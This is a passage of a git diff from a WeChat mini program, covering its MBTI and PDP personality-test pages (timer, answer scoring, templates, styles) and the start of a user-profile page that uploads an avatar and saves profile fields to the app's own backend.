- JP: { J: scores.J, P: scores.P, dominant: scores.J >= scores.P ? 'J' : 'P', percentage: Math.round((Math.max(scores.J, scores.P) / (scores.J + scores.P)) * 100) } - } - - // 计算置信度 - const confidence = Math.round( - (dimensionScores.EI.percentage + dimensionScores.SN.percentage + - dimensionScores.TF.percentage + dimensionScores.JP.percentage) / 4 - ) - - return { - mbtiType, - scores, - dimensionScores, - confidence, - description: mbtiDescriptions[mbtiType] || {} - } - } -}) +// pages/test/mbti.js - MBTI测试页面逻辑 +const { mbtiQuestions, shuffleQuestions } = require('../../utils/questions') +const { mbtiDescriptions } = require('../../utils/descriptions') +const payment = require('../../utils/payment') +const app = getApp() + +Page({ + data: { + questions: [], + currentIndex: 0, + currentQuestion: null, + answers: {}, + selectedAnswer: null, + total: mbtiQuestions.length, + answeredCount: 0, + progress: 0, + timeRemaining: 30 * 60, // 30分钟 + formatTime: '30:00', + isSubmitting: false, + canAccess: false + }, + + timer: null, + + onLoad() { + const questions = shuffleQuestions(mbtiQuestions) + this.setData({ + questions, + currentQuestion: questions[0], + canAccess: true + }) + this.startTimer() + }, + + // 检查访问权限 + checkAccess() { + // 当前策略:所有测试免费开放,直接允许访问 + // 若后续恢复收费,可重新启用 payment.canTakeTest 等校验逻辑 + return true + }, + + onUnload() { + if (this.timer) { + clearInterval(this.timer) + } + }, + + // 启动计时器 + startTimer() { + this.timer = setInterval(() => { + let time = this.data.timeRemaining - 1 + if (time <= 0) { + clearInterval(this.timer) + this.submitTest() + return + } + const minutes = Math.floor(time / 60) + const seconds = time % 60 + this.setData({ + timeRemaining: time, + formatTime: `${minutes}:${seconds < 10 ? '0' : ''}${seconds}` + }) + }, 1000) + }, + + // 选择答案 + selectAnswer(e) { + const value = e.currentTarget.dataset.value + const questionId = this.data.currentQuestion.id + + let answers = { ...this.data.answers } + answers[questionId] = value + + this.setData({ + selectedAnswer: value, + answers: answers, + answeredCount: Object.keys(answers).length, + progress: (Object.keys(answers).length / this.data.total) * 100 + }) + + // 自动跳转下一题 + setTimeout(() => { + if (this.data.currentIndex < this.data.total - 1) { + this.nextQuestion() + } + }, 300) + }, + + // 上一题 + prevQuestion() { + if (this.data.currentIndex > 0) { + const newIndex = this.data.currentIndex - 1 + const newQuestion = this.data.questions[newIndex] + this.setData({ + currentIndex: newIndex, + currentQuestion: newQuestion, + selectedAnswer: this.data.answers[newQuestion.id] || null + }) + } + }, + + // 下一题 + nextQuestion() { + if (this.data.currentIndex < this.data.total - 1) { + const newIndex = this.data.currentIndex + 1 + const newQuestion = this.data.questions[newIndex] + this.setData({ + currentIndex: newIndex, + currentQuestion: newQuestion, + selectedAnswer: this.data.answers[newQuestion.id] || null + }) + } + }, + + // 提交测试 + submitTest() { + if (this.data.isSubmitting) return + this.setData({ isSubmitting: true }) + + const result = this.calculateResult() + + // 保存结果 + const resultData = { + ...result, + testDuration: 30 * 60 - this.data.timeRemaining, + completedAt: new Date().toISOString(), + timestamp: new Date().toISOString() + } + wx.setStorageSync('mbtiResult', resultData) + app.saveTestResult('mbti', resultData) + + // 跳转到结果页 + wx.redirectTo({ + url: '/pages/result/mbti' + }) + }, + + // 计算MBTI结果 + calculateResult() { + const answers = this.data.answers + const scores = { E: 0, I: 0, S: 0, N: 0, T: 0, F: 0, J: 0, P: 0 } + + // 统计各维度得分 + Object.values(answers).forEach(value => { + if (scores.hasOwnProperty(value)) { + scores[value]++ + } + }) + + // 确定MBTI类型 + const mbtiType = [ + scores.E >= scores.I ? 'E' : 'I', + scores.S >= scores.N ? 'S' : 'N', + scores.T >= scores.F ? 'T' : 'F', + scores.J >= scores.P ? 'J' : 'P' + ].join('') + + // 计算各维度百分比 + const dimensionScores = { + EI: { E: scores.E, I: scores.I, dominant: scores.E >= scores.I ? 'E' : 'I', percentage: Math.round((Math.max(scores.E, scores.I) / (scores.E + scores.I)) * 100) }, + SN: { S: scores.S, N: scores.N, dominant: scores.S >= scores.N ? 'S' : 'N', percentage: Math.round((Math.max(scores.S, scores.N) / (scores.S + scores.N)) * 100) }, + TF: { T: scores.T, F: scores.F, dominant: scores.T >= scores.F ? 'T' : 'F', percentage: Math.round((Math.max(scores.T, scores.F) / (scores.T + scores.F)) * 100) }, + JP: { J: scores.J, P: scores.P, dominant: scores.J >= scores.P ? 'J' : 'P', percentage: Math.round((Math.max(scores.J, scores.P) / (scores.J + scores.P)) * 100) } + } + + // 计算置信度 + const confidence = Math.round( + (dimensionScores.EI.percentage + dimensionScores.SN.percentage + + dimensionScores.TF.percentage + dimensionScores.JP.percentage) / 4 + ) + + return { + mbtiType, + scores, + dimensionScores, + confidence, + description: mbtiDescriptions[mbtiType] || {} + } + } +}) diff --git a/miniprogram/pages/test/mbti.json b/miniprogram/pages/test/mbti.json index 8224f00..4c51ce2 100644 --- a/miniprogram/pages/test/mbti.json +++ b/miniprogram/pages/test/mbti.json @@ -1,6 +1,6 @@ -{ - "navigationBarTitleText": "MBTI测试", - "navigationBarBackgroundColor": "#FF6B8A", - "navigationBarTextStyle": "white", - "usingComponents": {} -} +{ + "navigationBarTitleText": "MBTI测试", + "navigationBarBackgroundColor": "#FF6B8A", + "navigationBarTextStyle": "white", + "usingComponents": {} +} diff --git a/miniprogram/pages/test/mbti.wxml b/miniprogram/pages/test/mbti.wxml index 04a538d..913f6d6 100644 --- a/miniprogram/pages/test/mbti.wxml +++ b/miniprogram/pages/test/mbti.wxml @@ -1,48 +1,48 @@ - - - - - 问题 {{currentIndex + 1}}/{{total}} - 剩余时间: {{formatTime}} - - - - - - - - - {{currentQuestion.question}} - - - - - - {{option.text}} - - - - - - - - 上一题 - - - 跳过 - - - - - - {{isSubmitting ? '计算中...' : '完成测试,查看结果'}} - - - + + + + + 问题 {{currentIndex + 1}}/{{total}} + 剩余时间: {{formatTime}} + + + + + + + + + {{currentQuestion.question}} + + + + + + {{option.text}} + + + + + + + + 上一题 + + + 跳过 + + + + + + {{isSubmitting ? '计算中...' : '完成测试,查看结果'}} + + + diff --git a/miniprogram/pages/test/mbti.wxss b/miniprogram/pages/test/mbti.wxss index 1927ace..d3dd6f8 100644 --- a/miniprogram/pages/test/mbti.wxss +++ b/miniprogram/pages/test/mbti.wxss @@ -1,172 +1,172 @@ -/* pages/test/mbti.wxss - 按旧版模板重构 */ -.test-page { - width: 100%; - min-height: 100vh; - display: flex; - flex-direction: column; - background-color: #fff; -} - -.progress-section { - padding: 32rpx; - border-bottom: 1rpx solid #e5e5e5; - flex-shrink: 0; -} - -.progress-info { - display: flex; - justify-content: space-between; - align-items: center; - margin-bottom: 16rpx; -} - -.question-count { - font-size: 28rpx; - font-weight: 500; - color: #333; -} - -.time-remaining { - font-size: 28rpx; - color: #999; -} - -.progress-bar-container { - width: 100%; - height: 8rpx; - background-color: #e5e5e5; - border-radius: 8rpx; - overflow: hidden; -} - -.progress-bar { - height: 100%; - background: linear-gradient(135deg, #FF6B8A 0%, #ff8fa3 100%); - border-radius: 8rpx; - transition: width 0.3s ease; -} - -.content-area { - flex: 1; - overflow-y: auto; - padding: 32rpx; -} - -.question-card { - background-color: #fff; - border-radius: 24rpx; - padding: 48rpx; - box-shadow: 0 4rpx 12rpx rgba(0, 0, 0, 0.08); -} - -.question-text { - display: block; - font-size: 40rpx; - font-weight: 500; - color: #333; - line-height: 1.6; - margin-bottom: 48rpx; -} - -.options-container { - display: flex; - flex-direction: column; - gap: 32rpx; -} - -.option-item { - display: flex; - align-items: center; - padding: 32rpx; - border: 2rpx solid #e5e5e5; - border-radius: 16rpx; - transition: all 0.3s ease; -} - -.option-item.selected { - background-color: rgba(255, 107, 138, 0.12); - border-color: #FF6B8A; -} - -.radio-button { - width: 40rpx; - height: 40rpx; - border-radius: 50%; - border: 2rpx solid #d1d5db; - display: flex; - align-items: center; - justify-content: center; - margin-right: 24rpx; - flex-shrink: 0; - transition: all 0.3s ease; -} - -.radio-button.checked { - background-color: #FF6B8A; - border-color: #FF6B8A; -} - -.radio-inner { - width: 16rpx; - height: 16rpx; - border-radius: 50%; - background-color: #fff; -} - -.option-text { - flex: 1; - font-size: 32rpx; - color: #333; - line-height: 1.5; -} - -.footer-buttons { - display: flex; - gap: 24rpx; - padding: 32rpx; - border-top: 1rpx solid #e5e5e5; - flex-shrink: 0; -} - -.nav-button { - flex: 1; - padding: 28rpx; - border-radius: 16rpx; - text-align: center; -} - -.nav-button.secondary { - background-color: #fff; - border: 2rpx solid #FF6B8A; -} - -.nav-button.secondary .button-text { - color: #FF6B8A; -} - -.nav-button.disabled { - opacity: 0.4; - pointer-events: none; -} - -.button-text { - font-size: 32rpx; - font-weight: 500; -} - -.submit-wrap { - padding: 0 32rpx 32rpx; -} - -.submit-button { - background: linear-gradient(135deg, #FF6B8A 0%, #ff8fa3 100%); - border-radius: 16rpx; - padding: 28rpx; - text-align: center; -} - -.submit-text { - font-size: 32rpx; - font-weight: 600; - color: #fff; -} +/* pages/test/mbti.wxss - 按旧版模板重构 */ +.test-page { + width: 100%; + min-height: 100vh; + display: flex; + flex-direction: column; + background-color: #fff; +} + +.progress-section { + padding: 32rpx; + border-bottom: 1rpx solid #e5e5e5; + flex-shrink: 0; +} + +.progress-info { + display: flex; + justify-content: space-between; + align-items: center; + margin-bottom: 16rpx; +} + +.question-count { + font-size: 28rpx; + font-weight: 500; + color: #333; +} + +.time-remaining { + font-size: 28rpx; + color: #999; +} + +.progress-bar-container { + width: 100%; + height: 8rpx; + background-color: #e5e5e5; + border-radius: 8rpx; + overflow: hidden; +} + +.progress-bar { + height: 100%; + background: linear-gradient(135deg, #FF6B8A 0%, #ff8fa3 100%); + border-radius: 8rpx; + transition: width 0.3s ease; +} + +.content-area { + flex: 1; + overflow-y: auto; + padding: 32rpx; +} + +.question-card { + background-color: #fff; + border-radius: 24rpx; + padding: 48rpx; + box-shadow: 0 4rpx 12rpx rgba(0, 0, 0, 0.08); +} + +.question-text { + display: block; + font-size: 40rpx; + font-weight: 500; + color: #333; + line-height: 1.6; + margin-bottom: 48rpx; +} + +.options-container { + display: flex; + flex-direction: column; + gap: 32rpx; +} + +.option-item { + display: flex; + align-items: center; + padding: 32rpx; + border: 2rpx solid #e5e5e5; + border-radius: 16rpx; + transition: all 0.3s ease; +} + +.option-item.selected { + background-color: rgba(255, 107, 138, 0.12); + border-color: #FF6B8A; +} + +.radio-button { + width: 40rpx; + height: 40rpx; + border-radius: 50%; + border: 2rpx solid #d1d5db; + display: flex; + align-items: center; + justify-content: center; + margin-right: 24rpx; + flex-shrink: 0; + transition: all 0.3s ease; +} + +.radio-button.checked { + background-color: #FF6B8A; + border-color: #FF6B8A; +} + +.radio-inner { + width: 16rpx; + height: 16rpx; + border-radius: 50%; + background-color: #fff; +} + +.option-text { + flex: 1; + font-size: 32rpx; + color: #333; + line-height: 1.5; +} + +.footer-buttons { + display: flex; + gap: 24rpx; + padding: 32rpx; + border-top: 1rpx solid #e5e5e5; + flex-shrink: 0; +} + +.nav-button { + flex: 1; + padding: 28rpx; + border-radius: 16rpx; + text-align: center; +} + +.nav-button.secondary { + background-color: #fff; + border: 2rpx solid #FF6B8A; +} + +.nav-button.secondary .button-text { + color: #FF6B8A; +} + +.nav-button.disabled { + opacity: 0.4; + pointer-events: none; +} + +.button-text { + font-size: 32rpx; + font-weight: 500; +} + +.submit-wrap { + padding: 0 32rpx 32rpx; +} + +.submit-button { + background: linear-gradient(135deg, #FF6B8A 0%, #ff8fa3 100%); + border-radius: 16rpx; + padding: 28rpx; + text-align: center; +} + +.submit-text { + font-size: 32rpx; + font-weight: 600; + color: #fff; +} diff --git a/miniprogram/pages/test/pdp.js b/miniprogram/pages/test/pdp.js index 33e067f..0f71a8b 100644 --- a/miniprogram/pages/test/pdp.js +++ b/miniprogram/pages/test/pdp.js @@ -1,137 +1,137 @@ -// pages/test/pdp.js -const { pdpQuestions, shuffleQuestions } = require('../../utils/questions') -const { pdpDescriptions } = require('../../utils/descriptions') -const app = getApp() - -Page({ - data: { - questions: [], - currentIndex: 0, - currentQuestion: null, - answers: {}, - selectedAnswer: null, - total: pdpQuestions.length, - answeredCount: 0, - progress: 0, - timeRemaining: 15 * 60, - formatTime: '15:00', - isSubmitting: false - }, - - timer: null, - - onLoad() { - const questions = shuffleQuestions(pdpQuestions) - this.setData({ questions, currentQuestion: questions[0] }) - this.startTimer() - }, - - onUnload() { - if (this.timer) clearInterval(this.timer) - }, - - startTimer() { - this.timer = setInterval(() => { - let time = this.data.timeRemaining - 1 - if (time <= 0) { - clearInterval(this.timer) - this.submitTest() - return - } - const minutes = Math.floor(time / 60) - const seconds = time % 60 - this.setData({ - timeRemaining: time, - formatTime: `${minutes}:${seconds < 10 ? '0' : ''}${seconds}` - }) - }, 1000) - }, - - getEmoji(value) { - const emojis = { Tiger: '🐅', Peacock: '🦚', Koala: '🐨', Owl: '🦉', Chameleon: '🦎' } - return emojis[value] || '🔹' - }, - - selectAnswer(e) { - const value = e.currentTarget.dataset.value - const questionId = this.data.currentQuestion.id - let answers = { ...this.data.answers } - answers[questionId] = value - - this.setData({ - selectedAnswer: value, - answers: answers, - answeredCount: Object.keys(answers).length, - progress: (Object.keys(answers).length / this.data.total) * 100 - }) - - setTimeout(() => { - if (this.data.currentIndex < this.data.total - 1) { - this.nextQuestion() - } - }, 300) - }, - - prevQuestion() { - if (this.data.currentIndex > 0) { - const newIndex = this.data.currentIndex - 1 - const newQuestion = this.data.questions[newIndex] - this.setData({ - currentIndex: newIndex, - currentQuestion: newQuestion, - selectedAnswer: this.data.answers[newQuestion.id] || null - }) - } - }, - - nextQuestion() { - if (this.data.currentIndex < this.data.total - 1) { - const newIndex = this.data.currentIndex + 1 - const newQuestion = this.data.questions[newIndex] - this.setData({ - currentIndex: newIndex, - currentQuestion: newQuestion, - selectedAnswer: this.data.answers[newQuestion.id] || null - }) - } - }, - - submitTest() { - if (this.data.isSubmitting) return - this.setData({ isSubmitting: true }) - - const scores = { Tiger: 0, Peacock: 0, Koala: 0, Owl: 0, Chameleon: 0 } - Object.values(this.data.answers).forEach(value => { - if (scores.hasOwnProperty(value)) scores[value]++ - }) - - const total = Object.values(scores).reduce((sum, v) => sum + v, 0) - const percentages = {} - Object.keys(scores).forEach(key => { - percentages[key] = Math.round((scores[key] / total) * 100) - }) - - const dominantType = Object.entries(scores).sort((a, b) => b[1] - a[1])[0][0] - const secondaryType = Object.entries(scores).sort((a, b) => b[1] - a[1])[1][0] - - const resultData = { - scores, - percentages, - dominantType, - secondaryType, - description: pdpDescriptions[dominantType], - testDuration: 15 * 60 - this.data.timeRemaining, - completedAt: new Date().toISOString(), - // 便于后端留存完整答题过程 - answers: this.data.answers - } - - // 本地缓存 + 全局缓存 - wx.setStorageSync('pdpResult', resultData) - if (app && typeof app.saveTestResult === 'function') { - app.saveTestResult('pdp', resultData) - } - - wx.redirectTo({ url: '/pages/result/pdp' }) - } -}) +// pages/test/pdp.js +const { pdpQuestions, shuffleQuestions } = require('../../utils/questions') +const { pdpDescriptions } = require('../../utils/descriptions') +const app = getApp() + +Page({ + data: { + questions: [], + currentIndex: 0, + currentQuestion: null, + answers: {}, + selectedAnswer: null, + total: pdpQuestions.length, + answeredCount: 0, + progress: 0, + timeRemaining: 15 * 60, + formatTime: '15:00', + isSubmitting: false + }, + + timer: null, + + onLoad() { + const questions = shuffleQuestions(pdpQuestions) + this.setData({ questions, currentQuestion: questions[0] }) + this.startTimer() + }, + + onUnload() { + if (this.timer) clearInterval(this.timer) + }, + + startTimer() { + this.timer = setInterval(() => { + let time = this.data.timeRemaining - 1 + if (time <= 0) { + clearInterval(this.timer) + this.submitTest() + return + } + const minutes = Math.floor(time / 60) + const seconds = time % 60 + this.setData({ + timeRemaining: time, + formatTime: `${minutes}:${seconds < 10 ? '0' : ''}${seconds}` + }) + }, 1000) + }, + + getEmoji(value) { + const emojis = { Tiger: '🐅', Peacock: '🦚', Koala: '🐨', Owl: '🦉', Chameleon: '🦎' } + return emojis[value] || '🔹' + }, + + selectAnswer(e) { + const value = e.currentTarget.dataset.value + const questionId = this.data.currentQuestion.id + let answers = { ...this.data.answers } + answers[questionId] = value + + this.setData({ + selectedAnswer: value, + answers: answers, + answeredCount: Object.keys(answers).length, + progress: (Object.keys(answers).length / this.data.total) * 100 + }) + + setTimeout(() => { + if (this.data.currentIndex < this.data.total - 1) { + this.nextQuestion() + } + }, 300) + }, + + prevQuestion() { + if (this.data.currentIndex > 0) { + const newIndex = this.data.currentIndex - 1 + const newQuestion = this.data.questions[newIndex] + this.setData({ + currentIndex: newIndex, + currentQuestion: newQuestion, + selectedAnswer: this.data.answers[newQuestion.id] || null + }) + } + }, + + nextQuestion() { + if (this.data.currentIndex < this.data.total - 1) { + const newIndex = this.data.currentIndex + 1 + const newQuestion = this.data.questions[newIndex] + this.setData({ + currentIndex: newIndex, + currentQuestion: newQuestion, + selectedAnswer: this.data.answers[newQuestion.id] || null + }) + } + }, + + submitTest() { + if (this.data.isSubmitting) return + this.setData({ isSubmitting: true }) + + const scores = { Tiger: 0, Peacock: 0, Koala: 0, Owl: 0, Chameleon: 0 } + Object.values(this.data.answers).forEach(value => { + if (scores.hasOwnProperty(value)) scores[value]++ + }) + + const total = Object.values(scores).reduce((sum, v) => sum + v, 0) + const percentages = {} + Object.keys(scores).forEach(key => { + percentages[key] = Math.round((scores[key] / total) * 100) + }) + + const dominantType = Object.entries(scores).sort((a, b) => b[1] - a[1])[0][0] + const secondaryType = Object.entries(scores).sort((a, b) => b[1] - a[1])[1][0] + + const resultData = { + scores, + percentages, + dominantType, + secondaryType, + description: pdpDescriptions[dominantType], + testDuration: 15 * 60 - this.data.timeRemaining, + completedAt: new Date().toISOString(), + // 便于后端留存完整答题过程 + answers: this.data.answers + } + + // 本地缓存 + 全局缓存 + wx.setStorageSync('pdpResult', resultData) + if (app && typeof app.saveTestResult === 'function') { + app.saveTestResult('pdp', resultData) + } + + wx.redirectTo({ url: '/pages/result/pdp' }) + } +}) diff --git a/miniprogram/pages/test/pdp.json b/miniprogram/pages/test/pdp.json index ffe77f1..a1bbe47 100644 --- a/miniprogram/pages/test/pdp.json +++ b/miniprogram/pages/test/pdp.json @@ -1,6 +1,6 @@ -{ - "navigationBarTitleText": "PDP测试", - "navigationBarBackgroundColor": "#F59E0B", - "navigationBarTextStyle": "white", - "usingComponents": {} -} +{ + "navigationBarTitleText": "PDP测试", + "navigationBarBackgroundColor": "#F59E0B", + "navigationBarTextStyle": "white", + "usingComponents": {} +} diff --git a/miniprogram/pages/test/pdp.wxml b/miniprogram/pages/test/pdp.wxml index 8fe9180..b08dfdd 100644 --- a/miniprogram/pages/test/pdp.wxml +++ b/miniprogram/pages/test/pdp.wxml @@ -1,48 +1,48 @@ - - - - - 问题 {{currentIndex + 1}}/{{total}} - 剩余时间: {{formatTime}} - - - - - - - - - {{currentQuestion.question}} - - - - - - {{option.text}} - - - - - - - - 上一题 - - - 跳过 - - - - - - {{isSubmitting ? '计算中...' : '完成测试,查看结果'}} - - - + + + + + 问题 {{currentIndex + 1}}/{{total}} + 剩余时间: {{formatTime}} + + + + + + + + + {{currentQuestion.question}} + + + + + + {{option.text}} + + + + + + + + 上一题 + + + 跳过 + + + + + + {{isSubmitting ? '计算中...' : '完成测试,查看结果'}} + + + diff --git a/miniprogram/pages/test/pdp.wxss b/miniprogram/pages/test/pdp.wxss index 0b815c5..4db77fd 100644 --- a/miniprogram/pages/test/pdp.wxss +++ b/miniprogram/pages/test/pdp.wxss @@ -1,171 +1,171 @@ -/* pages/test/pdp.wxss - 按旧版模板重构 */ -.test-page { - width: 100%; - min-height: 100vh; - display: flex; - flex-direction: column; - background-color: #fff; -} - -.progress-section { - padding: 32rpx; - border-bottom: 1rpx solid #e5e5e5; - flex-shrink: 0; -} - -.progress-info { - display: flex; - justify-content: space-between; - align-items: center; - margin-bottom: 16rpx; -} - -.question-count { - font-size: 28rpx; - font-weight: 500; - color: #333; -} - -.time-remaining { - font-size: 28rpx; - color: #999; -} - -.progress-bar-container { - width: 100%; - height: 8rpx; - background-color: #e5e5e5; - border-radius: 8rpx; - overflow: hidden; -} - -.progress-bar { - height: 100%; - background: linear-gradient(135deg, #F59E0B 0%, #fbbf24 100%); - border-radius: 8rpx; - transition: width 0.3s ease; -} - -.content-area { - flex: 1; - overflow-y: auto; - padding: 32rpx; -} - -.question-card { - background-color: #fff; - border-radius: 24rpx; - padding: 48rpx; - box-shadow: 0 4rpx 12rpx rgba(0, 0, 0, 0.08); -} - -.question-text { - display: block; - font-size: 40rpx; - font-weight: 500; - color: #333; - line-height: 1.6; - margin-bottom: 48rpx; -} - -.options-container { - display: flex; - flex-direction: column; - gap: 32rpx; -} - -.option-item { - display: flex; - align-items: center; - padding: 32rpx; - border: 2rpx solid #e5e5e5; - border-radius: 16rpx; - transition: all 0.3s ease; -} - -.option-item.selected { - background-color: rgba(245, 158, 11, 0.12); - border-color: #F59E0B; -} - -.radio-button { - width: 40rpx; - height: 40rpx; - border-radius: 50%; - border: 2rpx solid #d1d5db; - display: flex; - align-items: center; - justify-content: center; - margin-right: 24rpx; - flex-shrink: 0; -} - -.radio-button.checked { - background-color: #F59E0B; - border-color: #F59E0B; -} - -.radio-inner { - width: 16rpx; - height: 16rpx; - border-radius: 50%; - background-color: #fff; -} - -.option-text { - flex: 1; - font-size: 32rpx; - color: #333; - line-height: 1.5; -} - -.footer-buttons { - display: flex; - gap: 24rpx; - padding: 32rpx; - border-top: 1rpx solid #e5e5e5; - flex-shrink: 0; -} - -.nav-button { - flex: 1; - padding: 28rpx; - border-radius: 16rpx; - text-align: center; -} - -.nav-button.secondary { - background-color: #fff; - border: 2rpx solid #F59E0B; -} - -.nav-button.secondary .button-text { - color: #F59E0B; -} - -.nav-button.disabled { - opacity: 0.4; - pointer-events: none; -} - -.button-text { - font-size: 32rpx; - font-weight: 500; -} - -.submit-wrap { - padding: 0 32rpx 32rpx; -} - -.submit-button { - background: linear-gradient(135deg, #F59E0B 0%, #fbbf24 100%); - border-radius: 16rpx; - padding: 28rpx; - text-align: center; -} - -.submit-text { - font-size: 32rpx; - font-weight: 600; - color: #fff; -} +/* pages/test/pdp.wxss - 按旧版模板重构 */ +.test-page { + width: 100%; + min-height: 100vh; + display: flex; + flex-direction: column; + background-color: #fff; +} + +.progress-section { + padding: 32rpx; + border-bottom: 1rpx solid #e5e5e5; + flex-shrink: 0; +} + +.progress-info { + display: flex; + justify-content: space-between; + align-items: center; + margin-bottom: 16rpx; +} + +.question-count { + font-size: 28rpx; + font-weight: 500; + color: #333; +} + +.time-remaining { + font-size: 28rpx; + color: #999; +} + +.progress-bar-container { + width: 100%; + height: 8rpx; + background-color: #e5e5e5; + border-radius: 8rpx; + overflow: hidden; +} + +.progress-bar { + height: 100%; + background: linear-gradient(135deg, #F59E0B 0%, #fbbf24 100%); + border-radius: 8rpx; + transition: width 0.3s ease; +} + +.content-area { + flex: 1; + overflow-y: auto; + padding: 32rpx; +} + +.question-card { + background-color: #fff; + border-radius: 24rpx; + padding: 48rpx; + box-shadow: 0 4rpx 12rpx rgba(0, 0, 0, 0.08); +} + +.question-text { + display: block; + font-size: 40rpx; + font-weight: 500; + color: #333; + line-height: 1.6; + margin-bottom: 48rpx; +} + +.options-container { + display: flex; + flex-direction: column; + gap: 32rpx; +} + +.option-item { + display: flex; + align-items: center; + padding: 32rpx; + border: 2rpx solid #e5e5e5; + border-radius: 16rpx; + transition: all 0.3s ease; +} + +.option-item.selected { + background-color: rgba(245, 158, 11, 0.12); + border-color: #F59E0B; +} + +.radio-button { + width: 40rpx; + height: 40rpx; + border-radius: 50%; + border: 2rpx solid #d1d5db; + display: flex; + align-items: center; + justify-content: center; + margin-right: 24rpx; + flex-shrink: 0; +} + +.radio-button.checked { + background-color: #F59E0B; + border-color: #F59E0B; +} + +.radio-inner { + width: 16rpx; + height: 16rpx; + border-radius: 50%; + background-color: #fff; +} + +.option-text { + flex: 1; + font-size: 32rpx; + color: #333; + line-height: 1.5; +} + +.footer-buttons { + display: flex; + gap: 24rpx; + padding: 32rpx; + border-top: 1rpx solid #e5e5e5; + flex-shrink: 0; +} + +.nav-button { + flex: 1; + padding: 28rpx; + border-radius: 16rpx; + text-align: center; +} + +.nav-button.secondary { + background-color: #fff; + border: 2rpx solid #F59E0B; +} + +.nav-button.secondary .button-text { + color: #F59E0B; +} + +.nav-button.disabled { + opacity: 0.4; + pointer-events: none; +} + +.button-text { + font-size: 32rpx; + font-weight: 500; +} + +.submit-wrap { + padding: 0 32rpx 32rpx; +} + +.submit-button { + background: linear-gradient(135deg, #F59E0B 0%, #fbbf24 100%); + border-radius: 16rpx; + padding: 28rpx; + text-align: center; +} + +.submit-text { + font-size: 32rpx; + font-weight: 600; + color: #fff; +} diff --git a/miniprogram/pages/user-profile/index.js b/miniprogram/pages/user-profile/index.js index 3731e70..6aa4f98 100644 --- a/miniprogram/pages/user-profile/index.js +++ b/miniprogram/pages/user-profile/index.js @@ -1,205 +1,205 @@ -// pages/user-profile/index.js - 个人资料页 -const app = getApp() -const { request } = require('../../utils/request') -const { bindPhoneByCode } = require('../../utils/phoneAuth') - -Page({ - data: { - userInfo: null, - nickname: '', - avatar: '', - birthday: '', - gender: 0, - genderIndex: 0, - genderText: '', - genderOptions: ['保密', '男', '女'], - phone: '', - avatarLetter: '我', - avatarBgColor: '#6366f1', - nicknameFocused: false, - saving: false - }, - - onLoad() { - this.loadUserInfo() - }, - - onShow() { - // 从其他页返回时刷新 - if (app.globalData.userInfo) { - this.loadUserInfo() - } - }, - - loadUserInfo() { - const userInfo = app.globalData.userInfo || wx.getStorageSync('userInfo') - if (!userInfo) { - wx.showToast({ title: '请先登录', icon: 'none' }) - setTimeout(() => wx.navigateBack(), 1500) - return - } - - const nickname = (userInfo.nickname || userInfo.nickName || '').trim() - const avatar = userInfo.avatar || userInfo.avatarUrl || '' - const birthday = userInfo.birthday || '' - const gender = (userInfo.gender !== undefined && userInfo.gender !== null) ? Number(userInfo.gender) : 0 - const genderText = this._genderText(gender) - const genderIndex = Math.min(Math.max(0, gender), 2) - const phone = userInfo.phone || '' - - const { avatarLetter, avatarBgColor } = this._avatarFromNickname(nickname || '我') - - this.setData({ - userInfo, - nickname, - avatar, - birthday, - gender, - genderIndex, - genderText, - phone, - avatarLetter, - avatarBgColor - }) - }, - - _genderText(g) { - const map = { 0: '保密', 1: '男', 2: '女' } - return map[g] || '保密' - }, - - _avatarFromNickname(name) { - const str = (name && String(name).trim()) || '我' - const letter = str.charAt(0).toUpperCase() || '我' - const palette = ['#6366f1', '#8b5cf6', '#ec4899', '#f43f5e', '#14b8a6', '#0ea5e9', '#3b82f6', '#eab308'] - let hash = 0 - for (let i = 0; i < str.length; i++) hash += str.charCodeAt(i) - const bgColor = palette[Math.abs(hash) % palette.length] - return { avatarLetter: letter, avatarBgColor: bgColor } - }, - - onChooseAvatar(e) { - const { avatarUrl } = e.detail - if (!avatarUrl || !app.globalData.token) { - wx.showToast({ title: '请先登录', icon: 'none' }) - return - } - wx.showLoading({ title: '上传中...' }) - const token = app.globalData.token - const apiBase = app.globalData.apiBase - wx.uploadFile({ - url: `${apiBase}/api/upload/image`, - filePath: avatarUrl, - name: 'file', - header: { 'Authorization': `Bearer ${token}` }, - success: (res) => { - const data = res.data - let json = {} - try { json = typeof data === 'string' ? JSON.parse(data) : data } catch (_) {} - if (json.code === 200 && json.data && json.data.url) { - const avatar = json.data.url - this.setData({ avatar }) - this._saveProfile({ avatar }) - } else { - wx.hideLoading() - wx.showToast({ title: json.message || '上传失败', icon: 'none' }) - } - }, - fail: () => { - wx.hideLoading() - wx.showToast({ title: '上传失败', icon: 'none' }) - } - }) - }, - - onGetPhoneNumber(e) { - const { errMsg, code } = e.detail || {} - if (errMsg && errMsg.indexOf('getPhoneNumber:fail') === 0) { - wx.showToast({ title: '需要授权手机号才能获取', icon: 'none' }) - return - } - if (!code) { - wx.showToast({ title: '获取手机号失败', icon: 'none' }) - return - } - bindPhoneByCode(code).then((user) => { - this.setData({ phone: user.phone || '' }) - }).catch(() => {}) - }, - - onNicknameRowTap() { - this.setData({ nicknameFocused: true }) - }, - - onNicknameBlur() { - this.setData({ nicknameFocused: false }) - }, - - onNicknameChange(e) { - const nickname = (e?.detail?.value || '').trim() - const { avatarLetter, avatarBgColor } = this._avatarFromNickname(nickname || '我') - this.setData({ nickname, avatarLetter, avatarBgColor }) - }, - - onBirthdayChange(e) { - const birthday = (e?.detail?.value || '').trim() - this.setData({ birthday }) - }, - - onGenderChange(e) { - const idx = parseInt(e?.detail?.value, 10) || 0 - const gender = idx - const genderText = this.data.genderOptions[idx] || '保密' - this.setData({ gender, genderIndex: idx, genderText }) - }, - - onSave() { - const { nickname, birthday, gender, userInfo } = this.data - const profile = {} - const origNickname = (userInfo?.nickname || userInfo?.nickName || '').trim() - const origBirthday = userInfo?.birthday || '' - const origGender = (userInfo?.gender !== undefined && userInfo?.gender !== null) ? Number(userInfo.gender) : 0 - if (nickname !== origNickname) profile.nickname = nickname - if (birthday !== origBirthday) profile.birthday = birthday - if (gender !== origGender) profile.gender = gender - if (Object.keys(profile).length === 0) { - wx.showToast({ title: '暂无修改', icon: 'none' }) - return - } - this._saveProfile(profile) - }, - - _saveProfile(profile) { - if (!app.globalData.token || !profile || Object.keys(profile).length === 0) return - if (this.data.saving) return - this.setData({ saving: true }) - wx.showLoading({ title: '保存中...' }) - request({ - url: '/api/auth/wechat/profile', - method: 'PUT', - data: profile, - success: (res) => { - wx.hideLoading() - this.setData({ saving: false }) - const payload = res && res.data - if (payload && payload.code === 200) { - const updated = { ...(app.globalData.userInfo || {}), ...(payload.data || {}), ...profile } - if (profile.nickname !== undefined) updated.nickname = profile.nickname - if (profile.avatar !== undefined) 